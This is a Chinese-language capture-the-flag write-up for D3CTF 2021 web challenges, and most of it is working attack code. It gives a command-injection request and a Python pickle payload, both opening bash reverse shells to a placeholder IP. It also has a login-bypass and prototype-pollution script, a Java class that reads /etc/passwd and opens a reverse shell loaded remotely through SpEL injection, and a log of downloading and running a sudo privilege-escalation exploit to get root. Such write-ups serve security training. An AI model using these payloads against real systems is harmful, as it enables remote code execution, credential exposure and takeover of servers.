D3CTF 2021 Write Up
# D3CTF
# Pool Calc
node应用存在命令拼接注入,可以弹到shell
GET /calc?language=php&action=add&a=1&b=2%3bbash%20-c%20%22bash%20-i%20%3e%26%20%2fdev%2ftcp%2fxx.xx.xx.xx%2f2333%200%3e%261%22%3b HTTP/1.1
Host: 7ef605fc8d.pool_calc.d3ctf.io
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36
Referer: http://7ef605fc8d.pool_calc.d3ctf.io/redirect?filename=index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.1.384365273.1614087612; _ga_C435GZ995C=GS1.1.1614090896.2.0.1614090896.0; SERVERID=97e74b5b89c308a1c4d2808bc54f67bb|1614996749|1614996728
If-None-Match: W/"4-eVnJaeCS8qWoYE4ih4B6xbGzhK0"
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
python的反序列化直接构造pickle就行
import socket, sys, pickle, argparse
import os
class Calculator:
action = None
a = None
b = None
def __init__(self, action, a, b):
self.action = action
self.a = float(a)
self.b = float(b)
def __reduce__(self):
return (os.system, ("echo '/bin/sh -i >& /dev/tcp/xx.xx.xx.xx/9999 0>&1'|bash", ))
def generate_data(action, a, b):
obj = Calculator(action, a, b)
data = pickle.dumps(obj)
return data
def send_data(ip, port, pickle_data):
address = (
ip, int(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect(address)
print("Yes")
except Exception:
print('Server not found or not open')
sys.exit()
try:
try:
print(pickle_data)
s.sendall(pickle_data)
recv_c = s.recv(1024)
print(recv_c.decode())
except Exception as e:
print(e)
s.close()
finally:
print("????")
s.close()
if __name__ == '__main__':
data = generate_data("add", "1", "2")
send_data("py_calc", 8080, data)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 8-bit pub
json
sql注入
sendmailer
attachment利用+原型链攻击
import requests as r
tmp = r.post('http://7281fd0fb4.8bit-pub.d3ctf.io/user/signin',json={"username":"admin","password":{"password":1}}, verify=False)
print(tmp.text)
data = {
"constructor.prototype.args": ["-c", "/readflag > '/tmp/.asd'"],
"constructor.prototype.path": "/bin/sh",
"constructor.prototype.sendmail": ["1"],
"subject": "1",
"text": "1",
"to": "[email protected]"
}
res = r.post('http://7281fd0fb4.8bit-pub.d3ctf.io/admin/email', cookies=tmp.cookies, json=data, verify=False)
print(res.text)
data = {
"subject": "1",
"text": "1",
"to": "[email protected]",
"attachments":{
"path":"/tmp/.asd"
}
}
res = r.post('http://7281fd0fb4.8bit-pub.d3ctf.io/admin/email', cookies=tmp.cookies, json=data, verify=False)
print(res.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Happy_Valentine's_Day
SPEL 表达式注入
换行符可以绕过正则匹配
import java.io.*;
import java.util.*;
public class Cmd {
String res;
public Cmd() {
try {
File dir = new File("/");
String[] children = dir.list();
if (children == null) {
} else {
for (int i = 0; i < children.length; i++) {
String filename = children[i];
res += filename + '\n';
}
}
BufferedReader in = new BufferedReader(new FileReader("/etc/passwd"));
String str;
while ((str = in.readLine()) != null) {
res += str + '\n';
}
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xx.xx.xx.xx/9999 0>&1");
} catch (IOException e) {
res += e.toString();
}
}
@Override
public String toString() {
return res;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
可以通过加载外部java包利用
javac Cmd.java&&jar cvf Cmd.jar Cmd.class
1
注意java版本
name=\n[[${new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://buptmerak.cn/Cmd.jar")}).loadClass("Cmd").getConstructor().newInstance().toString()}]]
1
拿到shell以后发现需要提权,这里使用CVE-2021-3156 (opens new window)提权
web@64285b23f392:/tmp/.asd$ curl buptmerak.cn/archive.tgz -O
curl buptmerak.cn/archive.tgz -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 99k 100 99k 0 0 268k 0 --:--:-- --:--:-- --:--:-- 267k
web@64285b23f392:/tmp/.asd$ tar xzf archive.tgz
tar xzf archive.tgz
web@64285b23f392:/tmp/.asd$ ls
ls
archive.tgz
sudo2
web@64285b23f392:/tmp/.asd$ cd sudo2
cd sudo2
web@64285b23f392:/tmp/.asd/sudo2$ make
make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -w -o exploit exploit.c
web@64285b23f392:/tmp/.asd/sudo2$ ./exploit
./exploit
Usage: ./exploit <Command>
[+]Refrence : @Qualys Research Team @Max Kamper
[+]Modify by Rvn0xsy@ https://payloads.online
web@64285b23f392:/tmp/.asd/sudo2$ ./exploit whoami
./exploit whoami
root
web@64285b23f392:/tmp/.asd/sudo2$ ./exploit cat /flag
./exploit cat /flag
web@64285b23f392:/tmp/.asd/sudo2$ ./exploit 'cat /flag'
./exploit 'cat /flag'
d3ctf{y0u4_g1rl1fri3nd_1s_s0_lov3ly}
web@64285b23f392:/tmp/.asd/sudo2$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# non RCE?
# shellgen2
题目描述蛮怪的 大意就是写一个生成php脚本的python脚本,使得这个php脚本能输出输入python脚本的的任意随机字符并且不触发waf
def waf(phpshell):
if not phpshell.startswith(b'<?php'):
return True
phpshell = phpshell[6:]
for c in phpshell:
if c not in b'0-9$_;+[].=<?>':
return True
else:
print(chr(c), end='')
return False
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
通过一些操作我们可以拿到a
<?php $_=[].[];$__=0;$__++;$__++;$__++;$_=$_[$__];
1
此时
$_ = 'a'
1
然后不能有()
,只能通过短标签输出了
<?php $_=[].[];$__=0;$__++;$__++;$__++;$_=$_[$__];?>
<?=$_?>
#输出'a'
1
2
3
2
3
题目只需要得到小写字母字符集,通过++我们可以得到所有字符
prefix = """<?php
$_=''.[];
$__=0;
$__++;$__++;$__++;
$_=$_[$__];
"""
# $_= 'a'
end = """
<?=$___?>
"""
def genchar(c,i):
t = ord(c)-ord('a')
x = "${0}".format("_"*i)
poc = x+"=$_;"
if t>0:
for i in range(t):
poc+=x+"++;"
else:
for i in range(t):
poc+=x+"--;"
return poc
def genstr(randomStr):
poc = prefix
for i in range(len(randomStr)):
poc += genchar(c=randomStr[i],i=i+4)
poc+="?><?="
for i in range(len(randomStr)):
poc += "${0}.".format("_"*(i+4))
return poc[:-1]+"?>"
print(genstr("ab"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
简单写一个,
优化点还有
同样字母可以用同个变量
利用其他字符
09
可以缩短变量名长度
最后得到exp
target=input()
st="<?php $_=[].[];$__=0;$__++;$__++;$__++;$_=$_[$__];"
keylist="_09"
strlist={}
p=0
for i in range(3):
for j in range(3):
for k in range(3):
strlist[p]= "$_"+keylist[i]+keylist[j]+keylist[k]
p+=1
for i in range(26):
st+=strlist[i]+"=$_;"
st+="$_++;"
st+="?>"
for c in target:
st+="<?="+strlist[ord(c)-97]+";?>"
print(st,end='')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
编辑 (opens new window)
上次更新: 2022/05/18, 16:49:51